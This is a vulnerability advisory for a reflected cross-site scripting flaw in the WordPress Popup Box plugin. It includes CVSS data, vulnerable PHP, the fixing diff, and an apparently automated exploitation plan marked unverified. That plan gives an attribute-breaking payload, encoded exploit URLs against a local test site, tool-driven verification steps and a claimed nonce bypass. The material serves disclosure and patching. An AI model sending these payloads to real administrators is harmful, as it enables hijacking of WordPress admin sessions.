CVE-2026-54192

Popup Box – Create Countdown, Coupon, Video, Contact Form Popups <= 6.2.9 - Reflected Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.1
CVSS Score
6.1
CVSS Score
medium
Severity
6.3.0
Patched in
8d
Time to patch

Description

The Popup Box – Create Countdown, Coupon, Video, Contact Form Popups plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 6.2.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.2.9
PublishedJune 16, 2026
Last updatedJune 23, 2026
Affected pluginays-popup-box

What Changed in the Fix

Changes introduced in v6.3.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical details and exploitation strategy for **CVE-2026-54192**, a Reflected Cross-Site Scripting (XSS) vulnerability in the "Popup Box" WordPress plugin. ### 1. Vulnerability Summary * **Vulnerability:** Reflected Cross-Site Scripting (XSS) * **Affected Files…

Show full research plan

This research plan outlines the technical details and exploitation strategy for CVE-2026-54192, a Reflected Cross-Site Scripting (XSS) vulnerability in the "Popup Box" WordPress plugin.

1. Vulnerability Summary

  • Vulnerability: Reflected Cross-Site Scripting (XSS)
  • Affected Files:
    • includes/lists/class-ays-pb-popup-categories-list-table.php
    • includes/lists/class-ays-pb-list-table.php
  • Vulnerable Component: The get_views() method in the WP_List_Table implementations for Popups and Categories.
  • Root Cause: The search parameter s is processed using sanitize_text_field() and esc_sql(), neither of which provide protection against HTML attribute injection. The resulting string is concatenated into an href attribute within an <a> tag that is wrapped in single quotes, without further escaping (e.g., via esc_url or esc_attr).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin.php
  • Query Parameters:
    • page: ays-pb-categories or ays-pb-popups
    • s: The payload carrier.
  • Authentication: Requires a victim with Administrator (or manage_options) privileges to visit a crafted link.
  • Broken Security Control: Both vulnerable files contain a logic error in their nonce verification. The code performs wp_verify_nonce( $this->ays_pb_nonce, 'action' ) where $this->ays_pb_nonce is a token generated by the plugin itself during the same request. This check compares a valid token against its own action string, which always returns true, effectively bypassing any CSRF/nonce protection for the page rendering.

3. Code Flow

  1. An administrator visits wp-admin/admin.php?page=ays-pb-categories&s=[payload].
  2. The plugin instantiates Popup_Categories_List_Table.
  3. The get_views() method is called to render the "All", "Published", and "Unpublished" filter links.
  4. Source: $_REQUEST['s'] is accessed.
  5. Processing:
    // Line 96 in class-ays-pb-popup-categories-list-table.php
    $search = esc_sql(sanitize_text_field($_REQUEST['s']));
    $href .= '&s=' . $search;
    
    • sanitize_text_field removes HTML tags but preserves single quotes (').
    • esc_sql adds backslashes (e.g., ' becomes \'), which do not prevent attribute termination in HTML.
  6. Sink: The unescaped $href is placed into an <a> tag:
    // Line 102
    "all" => "<a " . $selected_all . " href='" . $href . "'>" . ...
    
  7. Result: The HTML rendered is <a href='?page=ays-pb-categories&s=[payload]'>. A payload like x' onmouseover='alert(1) terminates the href attribute and injects a new event handler.

4. Nonce Acquisition Strategy

Bypass Identified: The nonce check is programmatically flawed and does not require an attacker to provide a valid nonce.

In includes/lists/class-ays-pb-popup-categories-list-table.php:

// Line 57
if (empty($this->ays_pb_nonce) || ! wp_verify_nonce( $this->ays_pb_nonce, 'ays_pb_admin_popup_categories_list_table_nonce' ) ) {
    wp_die('Nonce verification failed!');
}

Because the code verifies $this->ays_pb_nonce (the server-side generated token) rather than a user-supplied parameter like $_REQUEST['_wpnonce'], the check always succeeds. No nonce acquisition is required for exploitation.

5. Exploitation Strategy

The goal is to trigger an alert box in the context of the WordPress admin panel.

  • Payload: x' onmouseover='alert(document.domain)
  • URL-Encoded Payload: x%27+onmouseover%3D%27alert%28document.domain%29
  • Exploit URL:
    http://localhost:8080/wp-admin/admin.php?page=ays-pb-categories&s=x%27+onmouseover%3D%27alert%28document.domain%29

Step-by-Step Execution:

  1. Using the http_request tool, the agent will send a GET request to the exploit URL using a session cookie for an Administrative user.
  2. The agent will then verify the response body for the injected attribute.

6. Test Data Setup

Before exploitation, the environment must be prepared:

  1. Plugin Activation: Ensure ays-popup-box is installed and active.
  2. Administrative User: Ensure an admin user exists (default in test environments).
  3. Create Category: At least one Popup Category must exist so the list table renders the "All" link.
    • WP-CLI: wp ays-pb category create --title="Test Category" --published=1 (or via browser automation).

7. Expected Results

  • Response Content: The response HTML will contain the following broken-out <a> tag:
    <a  style='font-weight:bold;' href='?page=ays-pb-categories&s=x\' onmouseover=\'alert(document.domain)'>All (1)</a>
    
  • Execution: When a user hovers over the "All (1)" link in a browser, the alert(document.domain) JavaScript will execute.

8. Verification Steps

  1. Response Analysis: Search the response body of the http_request for the string: onmouseover=\'alert(document.domain).
  2. DOM Verification: Use browser_navigate to the exploit URL and browser_eval to check if the injected attribute exists:
    // Check if any anchor tag contains our payload in its attributes
    [...document.querySelectorAll('a')].some(a => a.getAttribute('onmouseover')?.includes('alert'))
    

9. Alternative Approaches

If the ays-pb-categories page is restricted, the same vulnerability can be targeted via the main popups list:

  • Alternative URL: /wp-admin/admin.php?page=ays-pb-popups&s=x%27+onmouseover%3D%27alert%281%29
  • Sink: includes/lists/class-ays-pb-list-table.php within the get_views() method.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Popup Box plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) via the search parameter 's' in the popup and category list tables. This occurs because the plugin uses sanitize_text_field and esc_sql on the input before concatenating it into a single-quoted HTML attribute, allowing attackers to terminate the attribute and inject arbitrary event handlers or scripts.

Vulnerable Code

// includes/lists/class-ays-pb-popup-categories-list-table.php lines 96-103
if (isset($_REQUEST['s']) && $_REQUEST['s'] != '') {
    $search = esc_sql(sanitize_text_field($_REQUEST['s']));
    $href .= '&s=' . $search;
}

$status_links = array(
    "all" => "<a " . $selected_all . " href='" . $href . "'>" . esc_html__('All', "ays-popup-box") . " (" . $all_count . ")</a>",

---

// includes/lists/class-ays-pb-list-table.php lines 238-241 (inside ays_pb_add_filters_to_link called by get_views)
if (isset($_REQUEST['s']) && $_REQUEST['s'] != '') {
    $search = esc_sql(sanitize_text_field($_REQUEST['s']));
    $href .= '&s=' . $search;
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/ays-popup-box/6.2.9/includes/lists/class-ays-pb-list-table.php /home/deploy/wp-safety.org/data/plugin-versions/ays-popup-box/6.3.0/includes/lists/class-ays-pb-list-table.php
--- /home/deploy/wp-safety.org/data/plugin-versions/ays-popup-box/6.2.9/includes/lists/class-ays-pb-list-table.php	2026-05-25 14:08:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ays-popup-box/6.3.0/includes/lists/class-ays-pb-list-table.php	2026-06-01 06:58:56.000000000 +0000
@@ -108,13 +108,17 @@
             $selected_all = "style='font-weight:bold;'";
         }
 
-        $href = "?page=" . esc_attr($_REQUEST['page']);
+        $href = add_query_arg(
+            'page',
+            isset($_REQUEST['page']) ? sanitize_key(wp_unslash($_REQUEST['page'])) : '',
+            admin_url('admin.php')
+        );
         $href = $this->ays_pb_add_filters_to_link($href);
 
         $status_links = array(
-            "all" => "<a " . $selected_all . " href='" . $href . "'>" . esc_html__('All', "ays-popup-box") . " (" . $all_count . ")</a>",
-            "published" => "<a " . $selected_on . " href='" . $href . "&fstatus=published'>" . esc_html__('Published', "ays-popup-box") . " (" . $published_count . ")</a>",
-            "unpublished" => "<a " . $selected_off . " href='" . $href . "&fstatus=unpublished'>" . esc_html__('Unpublished', "ays-popup-box") . " (" . $unpublished_count . ")</a>"
+            "all" => "<a " . $selected_all . " href='" . esc_url($href) . "'>" . esc_html__('All', "ays-popup-box") . " (" . $all_count . ")</a>",
+            "published" => "<a " . $selected_on . " href='" . esc_url(add_query_arg('fstatus', 'published', $href)) . "'>" . esc_html__('Published', "ays-popup-box") . " (" . $published_count . ")</a>",
+            "unpublished" => "<a " . $selected_off . " href='" . esc_url(add_query_arg('fstatus', 'unpublished', $href)) . "'>" . esc_html__('Unpublished', "ays-popup-box") . " (" . $unpublished_count . ")</a>"
         );
 
         return $status_links;
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/ays-popup-box/6.2.9/includes/lists/class-ays-pb-popup-categories-list-table.php /home/deploy/wp-safety.org/data/plugin-versions/ays-popup-box/6.3.0/includes/lists/class-ays-pb-popup-categories-list-table.php
--- /home/deploy/wp-safety.org/data/plugin-versions/ays-popup-box/6.2.9/includes/lists/class-ays-pb-popup-categories-list-table.php	2026-05-25 14:08:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ays-popup-box/6.3.0/includes/lists/class-ays-pb-popup-categories-list-table.php	2026-06-01 06:58:56.000000000 +0000
@@ -75,17 +75,21 @@
             $selected_all = "style='font-weight:bold;'";
         }
 
-        $href = "?page=" . esc_attr($_REQUEST['page']);
+        $href = add_query_arg(
+            'page',
+            isset($_REQUEST['page']) ? sanitize_key(wp_unslash($_REQUEST['page'])) : '',
+            admin_url('admin.php')
+        );
 
         if (isset($_REQUEST['s']) && $_REQUEST['s'] != '') {
-            $search = esc_sql(sanitize_text_field($_REQUEST['s']));
-            $href .= '&s=' . $search;
+            $search = sanitize_text_field(wp_unslash($_REQUEST['s']));
+            $href = add_query_arg('s', $search, $href);
         }
 
         $status_links = array(
-            "all" => "<a " . $selected_all . " href='" . $href . "'>" . esc_html__('All', "ays-popup-box") . " (" . $all_count . ")</a>",
-            "published" => "<a " . $selected_1 . " href='" . $href . "&fstatus=1'>" . esc_html__('Published', "ays-popup-box") . " (" . $published_count . ")</a>",
-            "unpublished" => "<a " . $selected_0 . " href='" . $href . "&fstatus=0'>" . esc_html__('Unpublished', "ays-popup-box") . " (" . $unpublished_count . ")</a>"
+            "all" => "<a " . $selected_all . " href='" . esc_url($href) . "'>" . esc_html__('All', "ays-popup-box") . " (" . $all_count . ")</a>",
+            "published" => "<a " . $selected_1 . " href='" . esc_url(add_query_arg('fstatus', 1, $href)) . "'>" . esc_html__('Published', "ays-popup-box") . " (" . $published_count . ")</a>",
+            "unpublished" => "<a " . $selected_0 . " href='" . esc_url(add_query_arg('fstatus', 0, $href)) . "'>" . esc_html__('Unpublished', "ays-popup-box") . " (" . $unpublished_count . ")</a>"
         );

Exploit Outline

The exploit targets the WordPress admin panel pages 'ays-pb-categories' and 'ays-pb-popups'. An attacker crafts a link with a malicious payload in the 's' parameter, such as `x' onmouseover='alert(document.domain)`. When an authenticated administrator clicks this link, the plugin renders search filter links ("All", "Published", etc.) with the unescaped payload directly inside the 'href' attribute. Because the attribute is wrapped in single quotes and the payload contains a single quote, the attacker can break out of the URL context and inject a JavaScript event handler. Nonce protection is effectively bypassed because the plugin's internal verification logic compares its own server-side token against a fixed action string rather than validating a user-supplied parameter.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.